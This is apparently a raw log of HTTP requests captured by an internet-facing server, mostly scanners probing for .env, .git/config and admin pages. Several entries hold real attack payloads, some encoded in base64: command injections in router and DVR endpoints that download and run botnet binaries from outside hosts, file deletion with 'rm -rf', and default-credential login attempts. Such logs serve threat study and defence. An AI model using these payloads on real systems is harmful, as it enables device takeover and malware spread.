-{"ip": "162.142.125.11", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "165.232.177.124", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "195.210.28.127", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.190", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "207.167.66.222", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "180.180.108.57", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.111", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Length": "29", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:80", "Origin": "http://116.202.22.148:80", "Referer": "http://116.202.22.148:80/admin/login.asp", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "POST", "Path": "/boaform/admin/formLogin", "Http_Version": "HTTP/1.1", "POST_Payload": "dXNlcm5hbWU9YWRtaW4mcHNkPUZlZWZpZm9mdW0NCg0K"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "152.32.150.7", "Accept_Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "152.32.150.7", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "152.32.150.7", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "152.32.150.7", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "152.32.150.7", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Authorization": "NTLM TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA=", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.27.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.236.231.45", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30", "Method": "GET", "Path": "/_profiler/phpinfo", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "94.102.61.10", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.88.90.129", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "close", "Host": "116.202.22.148:80", "Referer": "http://116.202.22.148:80/left.html", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "198.244.238.99", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "198.244.238.99", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Method": "POST", "Path": "/", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.236.231.45", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "185.236.231.45", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Method": "POST", "Path": "/", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.10.109", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Authorization": "Basic cm9vdDppY2F0Y2g5OQ==", "Connection": "close", "Host": "116.202.22.148", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.10.109", "Accept_Encoding": "gzip, deflate", "Authorization": "Basic cm9vdDppY2F0Y2g5OQ==", "Content_Length": "332", "Host": "116.202.22.148", "User_Agent": "Abcd", "Method": "POST", "Path": "/dvr/cmd", "Http_Version": "HTTP/1.1", "POST_Payload": "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48RFZSIFBsYXRmb3JtPSJIaTM1MjAiPjxTZXRDb25maWd1cmF0aW9uIEZpbGU9InNlcnZpY2UueG1sIj48IVtDREFUQVs8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PjxEVlIgUGxhdGZvcm09IkhpMzUyMCI+PFNlcnZpY2U+PE5UUCBFbmFibGU9IlRydWUiIEludGVydmFsPSIyMDAwMCIgU2VydmVyPSJ0aW1lLm5pc3QuZ292JndnZXQgaHR0cDovLzE0MS45OC4xMC4xMDkvd2dldC5zaCAtTy18c2g7ZWNobyBET05FIi8+PC9TZXJ2aWNlPjwvRFZSPl1dPjwvU2V0Q29uZmlndXJhdGlvbj48L0RWUj4NCg0K"} -{"ip": "141.98.10.109", "Accept_Encoding": "gzip, deflate", "Authorization": "Basic cm9vdDppY2F0Y2g5OQ==", "Content_Length": "332", "Host": "116.202.22.148", "User_Agent": "Abcd", "Method": "POST", "Path": "/cn/cmd", "Http_Version": "HTTP/1.1", "POST_Payload": "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48RFZSIFBsYXRmb3JtPSJIaTM1MjAiPjxTZXRDb25maWd1cmF0aW9uIEZpbGU9InNlcnZpY2UueG1sIj48IVtDREFUQVs8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PjxEVlIgUGxhdGZvcm09IkhpMzUyMCI+PFNlcnZpY2U+PE5UUCBFbmFibGU9IlRydWUiIEludGVydmFsPSIyMDAwMCIgU2VydmVyPSJ0aW1lLm5pc3QuZ292JndnZXQgaHR0cDovLzE0MS45OC4xMC4xMDkvd2dldC5zaCAtTy18c2g7ZWNobyBET05FIi8+PC9TZXJ2aWNlPjwvRFZSPl1dPjwvU2V0Q29uZmlndXJhdGlvbj48L0RWUj4NCg0K"} -{"ip": "176.106.150.34", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "35.187.98.121", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148:8080", "User_Agent": "python-requests/2.31.0", "x-datadog-trace-id": "4481480065664437376", "x-datadog-parent-id": "1266870292655586080", "x-datadog-sampling-priority": "0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.190", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.248.133.190", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.248.133.190", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "162.243.128.49", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/ReportServer", "Http_Version": "HTTP/1.1"} -{"ip": "175.197.163.180", "Cookie": "user=admin", "Method": "POST", "Path": "/goform/set_LimitClient_cfg", "Http_Version": "HTTP/1.1", "POST_Payload": "dGltZTE9MDA6MDAtMDA6MDAmdGltZTI9MDA6MDAtMDA6MDAmbWFjPTtybSAtcmYgKmFybSo7IHJtIC1yZiAqYXJtNSo7IHJtIC1yZiAqYXJtNio7IHJtIC1yZiAqYXJtNyo7IHJtIC1yZiAqbTY4ayo7IHJtIC1yZiAqbWlwcyo7IHJtIC1yZiAqbXBzbCo7IHJtIC1yZiAqcHBjKjsgcm0gLXJmICpzaDQqOyBybSAtcmYgKnNwYyo7IHJtIC1yZiAqeDg2Kjsgcm0gLXJmICp4ODZfNjQqO3dnZXQgaHR0cDovLzEwMy42Ny4xOTcuODcvc2t5bGpuZS5tcHNsOyBjaG1vZCA3Nzcgc2t5bGpuZS5tcHNsOyAuL3NreWxqbmUubXBzbCBsYmxpbmsuc2VsZnJlcDsNCg0K"} -{"ip": "180.149.125.163", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", "Method": "GET", "Path": "/stalker_portal/server/tools/auth_simple.php", "Http_Version": "HTTP/1.1"} -{"ip": "197.52.177.118", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Connection": "keep-alive", "Host": "127.0.0.1:80", "User_Agent": "Hello, world", "Method": "GET", "Path": "/shell?cd+/tmp;rm+-rf+*;wget+45.12.253.180/jaws;sh+/tmp/jaws", "Http_Version": "HTTP/1.1"} -{"ip": "128.1.248.26", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "85.72.89.21", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "Close", "Cookie": "mac=; stb_lang=en; timezone=Europe%2FAthens;", "Host": "116.202.22.148:80", "Referer": "http://116.202.22.148:80/stalker_portal/c/", "User_Agent": "okhttp/3.12.13", "X-User-Agent": "Model: MAG520; Link: Ethernet", "Method": "GET", "Path": "/stalker_portal/server/load.php?action=handshake&type=stb&sn=&device_id=&device_id2=&JsHttpRequest=1-xml", "Http_Version": "HTTP/1.1"} -{"ip": "95.214.55.115", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "close", "Host": "116.202.22.148:80", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "156.197.11.99", "Cookie": "user=admin", "Method": "POST", "Path": "/goform/set_LimitClient_cfg", "Http_Version": "HTTP/1.1", "POST_Payload": "dGltZTE9MDA6MDAtMDA6MDAmdGltZTI9MDA6MDAtMDA6MDAmbWFjPTt3Z2V0IGh0dHA6Ly85NC4xNTYuNi45Ny9tcHNsOyBjaG1vZCA3NzcgbXBzbDsgLi9tcHNsIGxibGluay5zZWxmcmVwOw0KDQo="} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "205.210.31.151", "Accept": "*/*", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.193", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "128.1.248.42", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "85.72.89.21", "Accept": "*/*", "Authorization": "Bearer 00%253A1A%253A79%253A00%253A00%253A00", "Connection": "Keep-Alive", "Cookie": "mac=00%3A1A%3A79%3A00%3A00%3A00; stb_lang=en; timezone=Europe%2FAthens; adid=45b497cff86fb727c38c94078f358070", "Host": "116.202.22.148", "Pragma": "no-cache", "Referer": "http://116.202.22.148:80/stalker_portal/c/", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36", "X-Use-Agent": "Model: MAG322", "Method": "GET", "Path": "/stalker_portal/server/load.php?type=stb&action=get_profile&stb_type=STB&device_id=&device_id2=&auth_second_step=1&metrics=%7B%22mac%22:%2200%3A1A%3A79%3A00%3A00%3A00%22,%22sn%22:%2245B497CFF86FB%22%7D&hw_version_2=45b497cff86fb727c38c94078f358070", "Http_Version": "HTTP/1.1"} -{"ip": "185.100.87.136", "Content_Length": "40", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36", "Method": "POST", "Path": "/index.htm", "Http_Version": "HTTP/1.1", "POST_Payload": "BAaYGQAAAAD/wGgpepDR16ud5KdwJB5Vm7iCiab20+xhTL6Jw/FSuQ=="} -{"ip": "185.100.87.136", "Accept": "*/*", "Cache_Control": "no-cache", "Connection": "Keep-Alive", "Content_Length": "40", "Host": "116.202.22.148", "User_Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Method": "POST", "Path": "/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7", "Http_Version": "HTTP/1.1", "POST_Payload": "niS8o8LWwTK8ipmfMDX/UGPRsZWwO5A3rcsT0TQu40wuiSUS+dG7/Q=="} -{"ip": "118.123.105.92", "Accept": "text/html,application/xhtml+xml,application/xml", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "118.123.105.92", "Accept": "text/html,application/xhtml+xml,application/xml", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "118.123.105.92", "Accept": "text/html,application/xhtml+xml,application/xml", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "118.123.105.92", "Accept": "text/html,application/xhtml+xml,application/xml", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36", "Method": "GET", "Path": "/.well-known/security.txt", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.11.52", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "85.72.89.21", "Accept": "*/*", "Authorization": "Bearer 00%253A1A%253A79%253A00%253A00%253A00", "Connection": "Keep-Alive", "Cookie": "mac=00%3A1A%3A79%3A00%3A00%3A00; stb_lang=en; timezone=Europe%2FAthens; adid=45b497cff86fb727c38c94078f358070", "Host": "116.202.22.148", "Pragma": "no-cache", "Referer": "http://116.202.22.148:8080/stalker_portal/c/", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36", "X-Use-Agent": "Model: MAG322", "Method": "GET", "Path": "/stalker_portal/server/load.php?type=stb&action=get_profile&stb_type=STB&device_id=&device_id2=&auth_second_step=1&metrics=%7B%22mac%22:%2200%3A1A%3A79%3A00%3A00%3A00%22,%22sn%22:%2245B497CFF86FB%22%7D&hw_version_2=45b497cff86fb727c38c94078f358070", "Http_Version": "HTTP/1.1"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.49", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "198.235.24.46", "Host": "cdn.irserv.sbs", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.192", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.193", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "84.247.95.4", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "84.247.95.4", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "84.247.95.4", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30", "Method": "POST", "Path": "/", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "84.247.95.4", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "20", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30", "Method": "POST", "Path": "/", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "35.203.211.100", "Host": "116.202.22.148:80", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "193.42.33.176", "Accept": "Application/json, */*", "Connection": "Keep-Alive", "Content_Length": "29", "Content_Type": "Application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Method": "POST", "Path": "/login", "Http_Version": "HTTP/1.1", "POST_Payload": "dXNlcm5hbWU9YWRtaW4mcGFzc3dvcmQ9YWRtaW4NCg=="} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "5.188.210.227", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Cache_Control": "no-cache", "Connection": "close", "Content_Length": "0", "Cookie": "cookie=ok", "Host": "5.188.210.227", "Pragma": "no-cache", "Referer": "https://www.google.com/", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", "Method": "GET", "Path": "http://5.188.210.227/echo.php", "Http_Version": "HTTP/1.1"} -{"ip": "75.107.129.176", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "141.95.148.71", "Host": "blog.cloudflare.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "blog.cloudflare.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "87.236.176.214", "Accept": "*/*", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "194.163.155.246", "Accept_Encoding": "gzip,deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Method": "GET", "Path": "/wordpress/", "Http_Version": "HTTP/1.1"} -{"ip": "194.163.155.246", "Accept_Encoding": "gzip,deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Method": "GET", "Path": "/wp/", "Http_Version": "HTTP/1.1"} -{"ip": "194.163.155.246", "Accept_Encoding": "gzip,deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Method": "GET", "Path": "/blog/", "Http_Version": "HTTP/1.1"} -{"ip": "194.163.155.246", "Accept_Encoding": "gzip,deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Method": "GET", "Path": "/old/", "Http_Version": "HTTP/1.1"} -{"ip": "194.163.155.246", "Accept_Encoding": "gzip,deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; 